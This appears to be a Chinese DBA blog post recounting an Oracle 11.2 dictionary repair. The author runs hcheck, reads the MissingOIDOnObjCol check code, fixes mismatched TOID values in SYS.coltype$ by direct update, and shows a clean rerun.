SQL> @hcheck HCheck Version 07MAY18 on 14-FEB-2019 22:49:53 ---------------------------------------------- Catalog Version 11.2.0.4.0 (1102000400) db_name: LXY Catalog Fixed Procedure Name Version Vs Release Timestamp Result ------------------------------ ... ---------- -- ---------- -------------- ------ .- LobNotInObj ... 1102000400 <= *All Rel* 02/14 22:49:53 PASS .- MissingOIDOnObjCol ... 1102000400 <= *All Rel* 02/14 22:49:53 FAIL HCKE-0002: Object type column with missing OID$ (Doc ID 1360268.1) OBJ#=12946 Name=SYS.AQ$SCHEDULER$_EVENT_QTAB IntCol#=20=USER_DATA TabProp= OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=28=USER_DATA TabProp=539101206 OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=31=SYS_NC00031$ TabProp=539101206 OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=46=SYS_NC00046$ TabProp=539101206 OBJ#=12987 Name=SYS.SCHEDULER_FILEWATCHER_QT IntCol#=28=USER_DATA TabProp=539101190 OBJ#=12987 Name=SYS.SCHEDULER_FILEWATCHER_QT IntCol#=35=SYS_NC00035$ TabProp=539101190 OBJ#=13273 Name=SYS.AQ_EVENT_TABLE IntCol#=25=USER_DATA TabProp=539363346 OBJ#=13281 Name=SYS.AQ$AQ_EVENT_TABLE IntCol#=20=USER_DATA TabProp= OBJ#=13282 Name=SYS.AQ$_AQ_EVENT_TABLE_F IntCol#=24=USER_DATA TabProp= OBJ#=13285 Name=SYS.AQ_PROP_TABLE IntCol#=28=USER_DATA TabProp=539101186 OBJ#=13591 Name=SYS.SYS$SERVICE_METRICS_TAB IntCol#=28=USER_DATA TabProp=539101186 .- SourceNotInObj ... 1102000400 <= *All Rel* 02/14 22:49:53 PASS .- OversizedFiles ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- PoorDefaultStorage ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- PoorStorage ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- TabPartCountMismatch ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- OrphanedTabComPart ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- MissingSum$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- MissingDir$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- DuplicateDataobj ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- ObjSynMissing ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- ObjSeqMissing ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- OrphanedUndo ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- OrphanedIndex ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- OrphanedIndexPartition ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- OrphanedIndexSubPartition ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- OrphanedTable ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- OrphanedTablePartition ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- OrphanedTableSubPartition ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- MissingPartCol ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- OrphanedSeg$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- OrphanedIndPartObj# ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- DuplicateBlockUse ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- FetUet ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- Uet0Check ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- SeglessUET ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- BadInd$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- BadTab$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- BadIcolDepCnt ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- ObjIndDobj ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- TrgAfterUpgrade ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- ObjType0 ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- BadOwner ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- StmtAuditOnCommit ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- BadPublicObjects ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- BadSegFreelist ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- BadDepends ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS .- CheckDual ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS .- ObjectNames ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS .- BadCboHiLo ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS .- ChkIotTs ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS .- NoSegmentIndex ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS .- BadNextObject ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS .- DroppedROTS ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS .- FilBlkZero ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS .- DbmsSchemaCopy ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS .- OrphanedObjError ... 1102000400 > 1102000000 02/14 22:49:55 PASS .- ObjNotLob ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS .- MaxControlfSeq ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS .- SegNotInDeferredStg ... 1102000400 > 1102000000 02/14 22:49:55 PASS .- SystemNotRfile1 ... 1102000400 > 902000000 02/14 22:49:55 PASS .- DictOwnNonDefaultSYSTEM ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS .- OrphanTrigger ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS .- ObjNotTrigger ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS --------------------------------------- 14-FEB-2019 22:49:55 Elapsed: 2 secs --------------------------------------- Found 11 potential problem(s) and 0 warning(s) Contact Oracle Support with the output and trace file to check if the above needs attention or not PL/SQL procedure successfully completed. Statement processed. Complete output is in trace file: /u01/app/oracle/diag/rdbms/lxy/lxy/trace/lxy_ora_1808_HCHECK.trc |
发现了11处问题,都是HCKE-0002: Object type column with missing OID$。 这是什么意思呢?
分析hcheck脚本的MissingOIDOnObjCol存储过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
Procedure MissingOIDOnObjCol (nF In Number Default 0, VerChk In Number Default 5, Verbose In Boolean Default FALSE) Is nFr Number ; Cursor sCur1 Is Select o.obj# , o.type#, o.owner#, o.name, c.col#, c.intcol#, c.name cname, t.property From obj$ o, col$ c, coltype$ ct, oid$ oi, tab$ t Where o.obj# = ct.obj# And ct.obj# = c.obj# And ct.col# = c.col# And ct.intcol# = c.intcol# And oi.oid$(+) = ct.toid And o.obj# = t.obj#(+) And oi.oid$ is null; ps1 Varchar2(10) := 'HCKE-0002'; ps1a Varchar2(65) := 'Object type column with missing OID ps1n Varchar2(40) := '(Doc ID 1360268.1)'; CursorRun Boolean := FALSE; Begin If ( nF = 0) Then nFr := FindFname('MissingOIDOnObjCol') ; Else nFr := nF; End If ; If ChecknCatVnFR (nCatV, nFr, VerChk) = FALSE Then Return; End If; For c1 In sCur1 Loop If (not CursorRun) Then report_failure('FAIL',ps1,ps1a,ps1n,CursorRun); End If; put_line(' OBJ#='||c1.obj#||' Name='||Owner(c1.owner#)||'.' ||c1.name||' IntCol#='||c1.intcol#||'='||c1.cname ||' TabProp='||c1.property); Fatal := Fatal + 1 ; End Loop ; If (CursorRun) Then put(chr(10)) ; else put_line('PASS'); End If ; End ; |
仔细对脚本进行分析,推测是当表的字段类型为type类型的对象时,coltype$的toid和oid$的oid$不匹配导致的,应该是之前为了open数据库替换块的时候造成的。
以OBJ#=12946 Name=SYS.AQ$SCHEDULER$_EVENT_QTAB IntCol#=20=USER_DATA为例继续分析:
由于数据字典不一致,该表是不可以正常访问:
1 2 3 4 5 6 7 8 9 10 |
SQL> desc SYS.AQ$SCHEDULER$_EVENT_QTAB ERROR: ORA-00600: internal error code, arguments: [16687], [12946], [20], [], [], [], [], [], [], [], [], [] SQL> select * from SYS.AQ$SCHEDULER$_EVENT_QTAB; select * from SYS.AQ$SCHEDULER$_EVENT_QTAB * ERROR at line 1: ORA-21700: object does not exist or is marked for delete |
对正常的数据库查询可以看的SYS.AQ$SCHEDULER$_EVENT_QTAB的字段名为USER_DATA的字段类型为SCHEDULER$_EVENT_INFO,通过下面的查询可以发现确实不匹配(以oid$的为准,因为之前替换的是C_OBJ#,而coltype$是C_OBJ#中的一个表):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
SQL> select oid$ from oid$ where obj# in (select obj# from obj$ where name='SCHEDULER$_EVENT_INFO'); OID$ -------------------------------- 7BB17EE961D00845E0536438A8C00848 SQL> select toid from coltype$ where obj# in (select obj# from obj$ where name='AQ$SCHEDULER$_EVENT_QTAB') and intcol#=20; TOID -------------------------------- 81673B4EDDF5111FE0536438A8C02F5D 通过下面的查询也可以推出以oid$的为准 SQL> select toid from type$ where toid in ('7BB17EE961D00845E0536438A8C00848','81673B4EDDF5111FE0536438A8C02F5D'); TOID -------------------------------- 7BB17EE961D00845E0536438A8C00848 |
修改coltype$后恢复正常:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
SQL> update coltype$ set toid='7BB17EE961D00845E0536438A8C00848' where obj# in (select obj# from obj$ where name='AQ$SCHEDULER$_EVENT_QTAB') and intcol#=20; 1 row updated. SQL> commit; Commit complete. SQL> @flc System altered. System altered. SQL> select * from AQ$SCHEDULER$_EVENT_QTAB; no rows selected |
逐一修改后,再次执行hcheck:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 |
SQL> @hcheck HCheck Version 07MAY18 on 15-FEB-2019 01:56:00 ---------------------------------------------- Catalog Version 11.2.0.4.0 (1102000400) db_name: LXY Catalog Fixed Procedure Name Version Vs Release Timestamp Result ------------------------------ ... ---------- -- ---------- -------------- ------ .- LobNotInObj ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- MissingOIDOnObjCol ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- SourceNotInObj ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- OversizedFiles ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- PoorDefaultStorage ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- PoorStorage ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- TabPartCountMismatch ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- OrphanedTabComPart ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- MissingSum$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- MissingDir$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- DuplicateDataobj ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- ObjSynMissing ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- ObjSeqMissing ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- OrphanedUndo ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- OrphanedIndex ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- OrphanedIndexPartition ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- OrphanedIndexSubPartition ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- OrphanedTable ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- OrphanedTablePartition ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- OrphanedTableSubPartition ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- MissingPartCol ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- OrphanedSeg$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- OrphanedIndPartObj# ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- DuplicateBlockUse ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- FetUet ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- Uet0Check ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- SeglessUET ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- BadInd$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- BadTab$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- BadIcolDepCnt ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- ObjIndDobj ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- TrgAfterUpgrade ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- ObjType0 ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- BadOwner ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- StmtAuditOnCommit ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- BadPublicObjects ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- BadSegFreelist ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- BadDepends ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- CheckDual ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- ObjectNames ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS .- BadCboHiLo ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS .- ChkIotTs ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS .- NoSegmentIndex ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS .- BadNextObject ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS .- DroppedROTS ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS .- FilBlkZero ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS .- DbmsSchemaCopy ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS .- OrphanedObjError ... 1102000400 > 1102000000 02/15 01:56:01 PASS .- ObjNotLob ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS .- MaxControlfSeq ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS .- SegNotInDeferredStg ... 1102000400 > 1102000000 02/15 01:56:01 PASS .- SystemNotRfile1 ... 1102000400 > 902000000 02/15 01:56:01 PASS .- DictOwnNonDefaultSYSTEM ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS .- OrphanTrigger ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS .- ObjNotTrigger ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS --------------------------------------- 15-FEB-2019 01:56:01 Elapsed: 1 secs --------------------------------------- Found 0 potential problem(s) and 0 warning(s) PL/SQL procedure successfully completed. Statement processed. |
至此整个数据库比较完整的恢复完毕。